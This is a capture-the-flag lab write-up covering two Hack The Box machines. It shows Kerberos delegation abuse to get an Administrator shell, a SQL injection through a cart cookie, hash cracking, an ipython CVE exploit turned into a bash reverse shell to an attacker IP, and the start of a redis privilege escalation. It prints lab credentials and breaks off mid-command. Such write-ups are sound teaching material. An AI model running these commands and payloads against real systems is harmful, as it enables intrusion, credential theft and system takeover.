Searching for "genericall active directory" finds [this page](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces#genericall-genericwrite-write-on-computer), which explains that "if you have GenericAll/GenericWrite/Write on a Computer object, you can pull [Kerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution) off.

We need the following PowerShell modules to follow the guide: [PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) ([GitHub repo](https://github.com/PowerShellMafia/PowerSploit)) and [Powermad.ps1](https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1) ([GitHub repo](https://github.com/Kevin-Robertson/Powermad)). Download them and then upload them to the box using evil-winrm's `upload` command. Load them by running the following commands:

```powershell
import-module .\Powermad.ps1
import-module .\PowerView.ps1
```

The first step is to create a new computer object for our fake computer, `FAKE01`. This is the computer that will be trusted by our target computer `dc.support.htb` later on.

```powershell
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

Output:

```
Verbose: [+] Domain Controller = dc.support.htb
Verbose: [+] Domain = support.htb
Verbose: [+] SAMAccountName = FAKE01$
Verbose: [+] Distinguished Name = CN=FAKE01,CN=Computers,DC=support,DC=htb
[+] Machine account FAKE01 added
```

Get the newly created computer SID with `Get-DomainComputer fake01`:

```
pwdlastset             : 8/1/2022 5:45:17 PM
logoncount             : 0
badpasswordtime        : 12/31/1600 4:00:00 PM
distinguishedname      : CN=FAKE01,CN=Computers,DC=support,DC=htb
objectclass            : {top, person, organizationalPerson, user...}
name                   : FAKE01
objectsid              : S-1-5-21-1677581083-3380853377-188903654-5601
samaccountname         : FAKE01$
localpolicyflags       : 0
codepage               : 0
samaccounttype         : MACHINE_ACCOUNT
accountexpires         : NEVER
countrycode            : 0
whenchanged            : 8/2/2022 12:45:17 AM
instancetype           : 4
usncreated             : 86213
objectguid             : e47a18ce-3de8-435a-9f5e-a8e65cf5addd
lastlogon              : 12/31/1600 4:00:00 PM
lastlogoff             : 12/31/1600 4:00:00 PM
objectcategory         : CN=Computer,CN=Schema,CN=Configuration,DC=support,DC=htb
dscorepropagationdata  : 1/1/1601 12:00:00 AM
serviceprincipalname   : {RestrictedKrbHost/FAKE01, HOST/FAKE01, RestrictedKrbHost/FAKE01.support.htb, HOST/FAKE01.support.htb}
ms-ds-creatorsid       : {1, 5, 0, 0...}
badpwdcount            : 0
cn                     : FAKE01
useraccountcontrol     : WORKSTATION_TRUST_ACCOUNT
whencreated            : 8/2/2022 12:45:17 AM
primarygroupid         : 515
iscriticalsystemobject : False
usnchanged             : 86215
dnshostname            : FAKE01.support.htb
```

The SID is `S-1-5-21-1677581083-3380853377-188903654-5601`.

Next, create a new raw security descriptor for the `FAKE01` computer principal:

```powershell
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1677581083-3380853377-188903654-5601)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
```

After that, apply the security descriptor bytes to the target `dc.support.htb` machine by running `Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose`:

```
Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Extracted domain 'support.htb' from 'CN=DC,OU=Domain Controllers,DC=support,DC=htb'
Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=DC,OU=Domain Controllers,DC=support,DC=htb)))
Verbose: [Set-DomainObject] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 27 219 253 99 129 186 131 201 230 112 66 11 225 21 0 0' for object 'DC$'
```

To get a Kerberos ticket, the guide uses [Rubeus](https://github.com/GhostPack/Rubeus), which only runs on Windows and seems difficult to set up. Searching for "impacket get kerberos ticket to impersonate user" finds [impacket](https://github.com/SecureAuthCorp/impacket)'s [getST.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py):

```
$ getST.py support.htb/fake01:123456 -dc-ip 10.129.227.255 -impersonate Administrator -spn www/dc.support.htb
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
```

Now we have the Kerberos ticket. Looking at the [tools available in impacket](https://www.secureauth.com/labs/open-source-tools/impacket/) shows "[wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py): A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy." It also [has an option](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py#L388) to use a Kerberos ticket through the `KRB5CCNAME` environment variable. It looks like [smbexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py) is popular and would work as well.

So, let's run the following to get a shell:

```
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb
```

Initially, I got the error `[-] [Errno Connection error (dc.support.htb:445)] [Errno -3] Temporary failure in name resolution`. So, I added `dc.support.htb` and `support.htb` to the `/etc/hosts` file. After that, the command worked!

```
$ wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
support\administrator

C:\>type C:\Users\Administrator\Desktop\root.txt
0b**ee
```


# Shared

## Summary

Running an `nmap` scan finds SSH and a basic online shop powered by [PrestaShop](https://www.prestashop.com) at `https://shared.htb`. We add an item to the cart and try to checkout, which redirects us to `checkout.shared.htb`. The website knows which items are in our cart through a `custom_cart` cookie on the `shared.htb` domain. The cookie references the product code and the quantity that is in our cart. We manually perform a [SQL union injection attack](https://portswigger.net/web-security/sql-injection/union-attacks) on this cookie and read a username and password hash, which can be cracked using [CrackStation](https://crackstation.net/), from the database. With our credentials, we connect to the machine via SSH as the `james_mason` user.

Now that we are on the box, we run [pspy](https://github.com/DominicBreuker/pspy) and see `ipython` being executed on a schedule in a specific directory as the `dan_smith` user. Since the box is using `ipython` version `8.0.0`, we use [CVE-2022-21699](https://nvd.nist.gov/vuln/detail/CVE-2022-21699) ([GitHub advisory with proof-of-concept exploit](https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x)) and get a reverse shell as `dan_smith`. We can now get the `user.txt` flag.

To escalate to `root`, we try connecting to a redis server we noticed when we ran `pspy` earlier. The redis server needs a password, so we run [LinPEAS](https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/README.md) and find that we can execute `/usr/local/bin/redis_connector_dev`. The script is able to execute the `info` command on the redis server so it must have the password stored within it. From the [redis documentation](https://redis.io/docs/manual/security/#authentication), we know that the password is sent in plain-text. So, we use netcat to capture the password from the program and then we use it to authenticate to the redis server running on the box. We try several exploits from HackTricks, but the [LUA sandbox bypass](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#lua-sandbox-bypass) ends up working. This is [CVE-2022-0543](https://nvd.nist.gov/vuln/detail/CVE-2022-0543) and a simple script is available at [aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543). We modify the script to use our password and then we get the `root.txt` flag!

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.172 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.172`.

```
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
|   256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_  256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp  open  http     nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
|_http-server-header: nginx/1.18.0
443/tcp open  ssl/http nginx 1.18.0
| tls-nextprotoneg:
|   h2
|_  http/1.1
|_http-server-header: nginx/1.18.0
| tls-alpn:
|   h2
|_  http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Not valid before: 2022-03-20T13:37:14
|_Not valid after:  2042-03-15T13:37:14
|_http-title: Did not follow redirect to https://shared.htb
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap shows a redirect to `shared.htb`, so let's add that domain to `/etc/hosts`: `echo "10.10.11.172 shared.htb" | sudo tee -a /etc/hosts`.

### Nginx (Port `80` & `443`)

The HTTP version redirects to the HTTPS version. Looks like we have a basic online shop powered by [PrestaShop](https://www.prestashop.com) (see footer):

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-cad90de21bfaed892f4e6cbc4a3ebc3c64f7190a%2FScreenshot%202022-08-02%20at%2014-38-01%20Shared%20Shop.png?alt=media)

The main page references a new checkout page (see above), so we should definitely investigate that.

Searching for "prestashop vulnerabilities" finds [Major Security Vulnerability on PrestaShop Websites](https://build.prestashop.com/news/major-security-vulnerability-on-prestashop-websites/) and [Prestashop Security Issues: Top 7 Most Common Prestashop Attacks](https://www.getastra.com/blog/prestashop-security/prestashop-security-issues/), which might be helpful later.

#### OWASP ZAP

I haven't used [OWASP ZAP](https://www.zaproxy.org/) before and it seems like a cool tool. In ZAP, perform an automated scan against `https://shared.htb/index.php`. Make sure you have the beta and alpha "Active scanner rules" plugins installed so ZAP can detect more vulnerabilities. Then, create a policy with a low default threshold and a low attack strength. Apply those levels to all the rules in that policy. In Tools > Options, increase the "Concurrent Scanning Threads per Host" to something like 20 to [speed up scan times](https://blog.mozilla.org/security/2013/07/10/how-to-speed-up-owasp-zap-scans/). Additionally, in the tree on the left, you can right click a node and select Exclude from > Scanner to remove it from the scan and make the scan faster by only scanning the necessary components. Finally, run a new scan with your newly created policy against `https://shared.htb`.

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-045db3f33183332a6d3861d89de0f4aad718440b%2FScreenshot-20220802144043-3292x1636.png?alt=media)

Here is the complete progress table:

|                                            | Strength | Progress | Elapsed   | Reqs  | Alerts | Status                       |
| ------------------------------------------ | -------- | -------- | --------- | ----- | ------ | ---------------------------- |
| Analyser                                   |          |          | 00:14.895 | 106   |        |                              |
|                                            |          |          |           |       |        |                              |
| Plugin                                     |          |          |           |       |        |                              |
| Path Traversal                             | Low      | 100      | 00:38.579 | 405   | 11     | Completed                    |
| Remote File Inclusion                      | Low      | 100      | 00:27.468 | 260   | 0      | Completed                    |
| Source Code Disclosure - /WEB-INF folder   | Low      | 100      | 00:00.346 | 2     | 0      | Completed                    |
| External Redirect                          | Low      | 100      | 00:14.385 | 156   | 0      | Completed                    |
| Server Side Include                        | Low      | 100      | 00:23.401 | 208   | 0      | Completed                    |
| Cross Site Scripting (Reflected)           | Low      | 100      | 01:21.525 | 708   | 0      | Completed                    |
| Cross Site Scripting (Persistent) - Prime  | Low      | 100      | 00:06.167 | 52    | 0      | Completed                    |
| Cross Site Scripting (Persistent) - Spider | Low      | 100      | 00:04.903 | 187   | 0      | Completed                    |
| Cross Site Scripting (Persistent)          | Low      | 100      | 00:03.520 | 0     | 0      | Completed                    |
| SQL Injection                              | Low      | 100      | 00:35.812 | 390   | 2      | Completed                    |
| Server Side Code Injection                 | Low      | 100      | 00:37.159 | 416   | 0      | Completed                    |
| Remote OS Command Injection                | Low      | 100      | 01:08.598 | 780   | 0      | Completed                    |
| Directory Browsing                         | Low      | 100      | 00:15.279 | 187   | 0      | Completed                    |
| Buffer Overflow                            | Low      | 100      | 00:06.292 | 52    | 0      | Completed                    |
| Format String Error                        | Low      | 100      | 00:17.474 | 144   | 0      | Completed                    |
| CRLF Injection                             | Low      | 100      | 00:31.252 | 364   | 0      | Completed                    |
| Parameter Tampering                        | Low      | 100      | 00:41.855 | 364   | 0      | Completed                    |
| ELMAH Information Leak                     | Low      | 100      | 00:00.104 | 1     | 1      | Completed                    |
| .htaccess Information Leak                 | Low      | 100      | 00:03.139 | 67    | 66     | Completed                    |
| Script Active Scan Rules                   | Low      | 100      | 00:00.002 | 0     | 0      | Skipped, no scripts enabled. |
| Source Code Disclosure - Git               | Low      | 100      | 00:03.102 | 0     | 0      | Completed                    |
| Source Code Disclosure - File Inclusion    | Low      | 100      | 00:08.195 | 104   | 0      | Completed                    |
| Remote Code Execution - Shell Shock        | Low      | 100      | 00:09.918 | 104   | 0      | Completed                    |
| Httpoxy - Proxy Header Misuse              | Low      | 100      | 00:30.581 | 1305  | 0      | Completed                    |
| Cross-Domain Misconfiguration              | Low      | 100      | 00:00.482 | 2     | 0      | Completed                    |
| Heartbleed OpenSSL Vulnerability           | Low      | 100      | 00:00.843 | 5     | 0      | Completed                    |
| Source Code Disclosure - CVE-2012-1823     | Low      | 100      | 00:05.836 | 160   | 0      | Completed                    |
| Remote Code Execution - CVE-2012-1823      | Low      | 100      | 00:19.512 | 374   | 0      | Completed                    |
| Session Fixation                           | Low      | 100      | 00:02.833 | 0     | 0      | Completed                    |
| SQL Injection - MySQL                      | Low      | 100      | 00:18.062 | 208   | 0      | Completed                    |
| SQL Injection - Hypersonic SQL             | Low      | 100      | 00:21.231 | 208   | 0      | Completed                    |
| SQL Injection - Oracle                     | Low      | 100      | 00:19.905 | 208   | 0      | Completed                    |
| SQL Injection - PostgreSQL                 | Low      | 100      | 00:20.243 | 208   | 0      | Completed                    |
| SQL Injection - SQLite                     | Low      | 100      | 00:13.886 | 104   | 0      | Completed                    |
| Cross Site Scripting (DOM Based)           | Low      | 100      | 01:44.250 | 0     | 0      | Skipped, by user action.     |
| SQL Injection - MsSQL                      | Low      | 100      | 00:05.257 | 90    | 0      | Completed                    |
| XPath Injection                            | Low      | 100      | 00:12.339 | 156   | 0      | Completed                    |
| XML External Entity Attack                 | Low      | 100      | 00:03.299 | 0     | 0      | Completed                    |
| Generic Padding Oracle                     | Low      | 100      | 00:03.686 | 0     | 0      | Completed                    |
| Expression Language Injection              | Low      | 100      | 00:04.947 | 52    | 0      | Completed                    |
| Cloud Metadata Potentially Exposed         | Low      | 100      | 00:00.483 | 1     | 1      | Completed                    |
| Source Code Disclosure - SVN               | Low      | 100      | 00:04.496 | 145   | 132    | Completed                    |
| Relative Path Confusion                    | Low      | 100      | 00:03.488 | 39    | 0      | Completed                    |
| Backup File Disclosure                     | Low      | 100      | 01:13.116 | 1790  | 83     | Completed                    |
| HTTP Only Site                             | Low      | 100      | 00:00.014 | 0     | 0      | Completed                    |
| Anti-CSRF Tokens Check                     | Low      | 100      | 00:03.952 | 22    | 22     | Completed                    |
| Integer Overflow Error                     | Low      | 100      | 00:20.905 | 189   | 7      | Completed                    |
| Proxy Disclosure                           | Low      | 100      | 00:36.839 | 1496  | 104    | Completed                    |
| Trace.axd Information Leak                 | Low      | 100      | 00:03.199 | 67    | 12     | Completed                    |
| .env Information Leak                      | Low      | 100      | 00:03.093 | 67    | 67     | Completed                    |
| Hidden File Finder                         | Low      | 100      | 00:07.619 | 44    | 1      | Completed                    |
| XSLT Injection                             | Low      | 100      | 00:09.868 | 114   | 0      | Completed                    |
| Insecure HTTP Method                       | Low      | 100      | 00:10.245 | 187   | 0      | Completed                    |
| HTTPS Content Available via HTTP           | Low      | 100      | 00:04.904 | 174   | 25     | Completed                    |
| GET for POST                               | Low      | 100      | 00:03.225 | 5     | 0      | Completed                    |
| User Agent Fuzzer                          | Low      | 100      | 00:41.962 | 484   | 464    | Skipped, by user action.     |
| HTTP Parameter Pollution                   | Low      | 100      | 00:04.783 | 10    | 0      | Completed                    |
| Possible Username Enumeration              | Low      | 100      | 00:00.001 | 0     | 0      | Skipped                      |
| Cookie Slack Detector                      | Low      | 100      | 00:16.495 | 738   | 184    | Completed                    |
| Server Side Template Injection             | Low      | 100      | 00:20.898 | 212   | 0      | Completed                    |
| Server Side Template Injection (Blind)     | Low      | 100      | 00:57.817 | 650   | 0      | Completed                    |
|                                            |          |          |           |       |        |                              |
| Totals                                     |          |          | 18:30.655 | 17940 | 1183   |                              |

The "Path Traversal" seems to be a false positive (it had a "low" confidence). We can check the SQL Injection as well with [sqlmap](https://sqlmap.org/). However, running `sqlmap -u "https://shared.htb/index.php?controller=category&id_category=1" --random-agent --batch -p id_category --level 3 --risk 2` doesn't find anything.

#### Exploring the Website

Alright, that's enough messing around with ZAP. Let's explore the application. Let's add an item to the cart:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-c071c42d6c70011c7c9ab0385a161328ca9aeb14%2FScreenshot%202022-08-02%20at%2014-50-37%20Cart.png?alt=media)

Clicking "Proceed to Checkout" redirects to `checkout.shared.htb`. So, let's add that to our `/etc/hosts`: `echo "10.10.11.172 checkout.shared.htb" | sudo tee -a /etc/hosts`.

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-e399f9c13d296a4dd62abd325753348041f56448%2FScreenshot%202022-08-02%20at%2015-42-53%20Cart.png?alt=media)

Since we found this virtual host, let's scan for others with `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://shared.htb/ -H "Host: FUZZ.shared.htb" -fs 169`:

```
www                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
checkout                [Status: 200, Size: 3229, Words: 1509, Lines: 65, Duration: 30ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1267 req/sec :: Duration: [0:01:32] :: Errors: 0 ::
```

This only finds `www` so nothing interesting.

Anyway, clicking "Pay" on `checkout.shared.htb` only shows an alert message and does nothing else, as shown by the HTML for the "Pay" button: `<a href="#" class="btn btn-success my-3" onclick="alert('Your payment was successfully received');">Pay<i class="ml-2"></i></a>`.

However, looking at the request to load the page shows a `custom_cart` cookie:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-1b87421c34aa87c408ca3cde53d93544bae3bd60%2FScreenshot-20220802154648-2026x876.png?alt=media)

The cookie is `%7B%2253GG2EF8%22%3A%221%22%7D` and URL decoding it returns `{"53GG2EF8":"1"}`. This looks like a product ID and a quantity. Sure enough, adding another item to the cart gives us `{"53GG2EF8":"1","562XZDU8":"1"}`.

## Foothold

We have a product ID, which is a good candidate for SQL injection because e-commerce sites usually "store the products and their characteristics (price, description, availability, etc)... in a database" ([source](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection)). We can quickly test for a SQL injection by setting this cookie to `{"53GG2'+'EF8":"1"}`. This is a query that will evaluate to the same value originally if it is being ran as SQL. Sure enough, we get the same page. So, we have a SQL injection within this cookie.

I recommend using [BurpSuite](https://portswigger.net/burp) for the rest of this part since it makes sending the request with the URL encoded payload much easier than manually URL encoding and editing the cookie within a browser.

[This page from PortSwigger](https://portswigger.net/web-security/sql-injection) is a good introduction to SQL injections. In this case, we can use a [SQL union injection](https://portswigger.net/web-security/sql-injection/union-attacks). We will determine the number of columns in the query by appending `' ORDER BY 1--` and incrementing until we get a "Not Found" shown on the page. When we try `{"53GG2EF8' ORDER BY 4-- ":"1"}`, we get "Not Found," so 3 is the number of columns. The `ORDER BY` command "modifies the original query to order the results by different columns in the result set" ([source](https://portswigger.net/web-security/sql-injection/union-attacks)).

Next, we will add `AND 0=1` to prevent the first part of the query from running since `0=1` always evaluates to false. After that, we will add a `UNION SELECT` statement to see which columns are shown on the page. So, our final query if `{"53GG2EF8' and 0=1 union select 2,4,8-- ":"1"}`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-78def106799e4395323f52027d49fb006d2f9544%2FScreenshot-20220802162535-2534x1126.png?alt=media)

The `4` is shown under the "Product" heading, so that is the column we have control over.

We can use the `database()` function to ge the current database: `{"53GG2EF8' and 0=1 union select 2,database(),8-- ":"1"}`. This causes the "Product" column to show `checkout`, so the current database is `checkout`.

Next, we get the tables in the `checkout` database by running `{"53GG2EF8' and 0=1 union select 2,group_concat(table_name),8 from information_schema.tables WHERE table_schema = 'checkout'-- ":"1"}` (based on the command from [this StackOverflow answer](https://stackoverflow.com/a/27001800)). This gives us `user,product`.

After that, we use `{"53GG2EF8' and 0=1 union select 2,group_concat(column_name),8 from information_schema.columns WHERE table_schema = 'checkout' and table_name='user'-- ":"1"}` (based on the command from [this StackOverflow answer](https://stackoverflow.com/a/4165253)) to get the columns. As output, we get `id,username,password` in the "Product" column.

We can get the username with `{"53GG2EF8' and 0=1 union select 2,username,8 from checkout.user-- ":"1"}`: `james_mason`.

And we can get the password with `{"53GG2EF8' and 0=1 union select 2,password,8 from checkout.user-- ":"1"}`: `fc895d4eddc2fc12f995e18c865cf273`. Putting this hash into [CrackStation](https://crackstation.net/) gives us the password: `Soleil101`.

Using these credentials to connect over SSH works: `ssh james_mason@shared.htb` with password `Soleil101`.

## Lateral Movement

We reconnect using [pwncat](https://github.com/calebstewart/pwncat) to make it easy to copy files.

We run [pspy](https://github.com/DominicBreuker/pspy) and see the below output:

```
2022/08/02 17:48:44 CMD: UID=0    PID=1      | /sbin/init
2022/08/02 17:49:01 CMD: UID=0    PID=24748  | sleep 5
2022/08/02 17:49:01 CMD: UID=0    PID=24747  | /bin/bash /root/c.sh
2022/08/02 17:49:01 CMD: UID=1001 PID=24746  | /usr/bin/python3 /usr/local/bin/ipython
2022/08/02 17:49:01 CMD: UID=0    PID=24745  | /bin/sh -c /root/c.sh
2022/08/02 17:49:01 CMD: UID=1001 PID=24743  | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
2022/08/02 17:49:01 CMD: UID=0    PID=24742  | /usr/sbin/CRON -f
2022/08/02 17:49:01 CMD: UID=0    PID=24741  | /usr/sbin/CRON -f
2022/08/02 17:49:06 CMD: UID=0    PID=24757  | (s-server)
2022/08/02 17:49:32 CMD: UID=0    PID=24762  |
2022/08/02 17:50:01 CMD: UID=1001 PID=24769  | /usr/bin/pkill ipython
2022/08/02 17:50:01 CMD: UID=1001 PID=24768  | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython
2022/08/02 17:50:01 CMD: UID=0    PID=24767  | sleep 5
2022/08/02 17:50:01 CMD: UID=0    PID=24766  | /bin/bash /root/c.sh
2022/08/02 17:50:01 CMD: UID=0    PID=24765  | /bin/sh -c /root/c.sh
2022/08/02 17:50:01 CMD: UID=0    PID=24764  | /usr/sbin/CRON -f
2022/08/02 17:50:01 CMD: UID=0    PID=24763  | /usr/sbin/CRON -f
2022/08/02 17:50:01 CMD: UID=1001 PID=24770  | /usr/bin/python3 /usr/local/bin/ipython
2022/08/02 17:50:06 CMD: UID=0    PID=24775  | perl -ne s/\((\d+)\)/print " $1"/ge
2022/08/02 17:50:06 CMD: UID=0    PID=24774  | pstree -p 24757
2022/08/02 17:50:06 CMD: UID=0    PID=24773  | /bin/bash /root/c.sh
2022/08/02 17:50:06 CMD: UID=0    PID=24779  |
2022/08/02 17:50:06 CMD: UID=0    PID=24780  | /usr/bin/redis-server 127.0.0.1:6379
```

We have a `redis-server` being started on localhost port `6379`. We also have `ipython` being executed in the `/opt/scripts_review/` directory, which looks promising. `ipython` is executed as UID `1001`, which is the `dan_smith` user according to `/etc/passwd`.

Running `ipython --version` tells us that it is version `8.0.0`. Searching for "" finds [the program in Snyk's vulnerability database](https://snyk.io/vuln/pip:ipython@8.0.0), which points us to [this vulnerability](https://security.snyk.io/vuln/SNYK-PYTHON-IPYTHON-2348630), which directs us to the [IPython release notes](https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699), which talk about [CVE-2022-21699](https://nvd.nist.gov/vuln/detail/CVE-2022-21699). Version `8.0.0` is "subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine." This is exactly what we want.

The [GitHub advisory](https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x) contains a proof-of-concept:

```bash
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
```

Let's edit this to create a reverse shell instead. We use the standard bash reverse shell (`bash -c 'bash -i >& /dev/tcp/10.10.14.98/49113 0>&1'`) and just pass it to `os.system()`:

```bash
mkdir -m 777 /opt/scripts_review/profile_default
mkdir -m 777 /opt/scripts_review/profile_default/startup
echo 'import os;os.system("bash -c '\''bash -i >& /dev/tcp/10.10.14.98/49113 0>&1'\''")' > /opt/scripts_review/profile_default/startup/foo.py
```

Start a listener with `nc -lvnp 49113` (or using `pwncat`). After a few seconds or minutes, we get a reverse shell as `dan_smith`! We can now get the `user.txt` flag by running `cat ~/user.txt`.

## Privilege Escalation

We can get persistance by grabbing `dan_smith`'s private ssh key located at `~/.ssh/id_rsa`.

We saw a redis server being executed earlier. Looking at the open ports with `netstat -lntu` shows the following:

```
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
udp        0      0 0.0.0.0:68              0.0.0.0:*
```

Sure enough, port `6379` is open. Port `3306`, which is the default MariaDB port, is also open. That is likely the database that we were able to inject to get access to the box as `james_mason`.

We find the credentials to the database in `/var/www/checkout.shared.htb/config/db.php`, but it doesn't contain any new information.

```php
$ cat /var/www/checkout.shared.htb/config/db.php
<?php
define('DBHOST','localhost');
define('DBUSER','checkout');
define('DBPWD','a54$K_M4?DdT^HUk');
define('DBNAME','checkout');
?>
```

Back to `redis`. Looking at [HackTrick's guide for redis](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis), the first thing we should do is connect with `redis-cli`, which is installed on the box for us, and run `info`:

```
$ redis-cli
127.0.0.1:6379> info
NOAUTH Authentication required.
127.0.0.1:6379>
```

Looks like we are going to need some credentials.

Upload [LinPEAS](https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/README.md) and run with `./linpeas.sh -a 2>&1 | tee linpeas_report.txt`. Download the report with `download linepeas_report.txt` in the local terminal within `pwncat`. You can open [linpeas\_report.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Shared/linpeas_report.txt) with `less -R linpeas_report.txt`.

LinPEAS finds this:

```
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root dan_smith 33 Aug  2 16:24 /home/dan_smith/user.txt
-rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev
```

This is a file at `/usr/local/bin/redis_connector_dev` that we can read. Simply executing the file shows the following:

```
[+] Logging to redis instance using password...

INFO command result:
# Server
redis_version:6.0.15
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:4610f4c3acf7fb25
redis_mode:standalone
os:Linux 5.10.0-16-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:10.2.1
process_id:65360
run_id:7c6ac532f6b9c8ffbd6e325998267f7f72170a6a
tcp_port:6379
uptime_in_seconds:18
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:15312797
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
io_threads_active:0
 <nil>
```

The script is able to execute the `info` command on the `redis` server so it must have the password stored within it (or it reads it from somewhere). We download the file with `pwncat`: [redis\_connector\_dev](https://github.com/HHousen/hack-the-box/blob/master/Machines/Shared/redis_connector_dev/README.md).

```
$ file redis_connector_dev
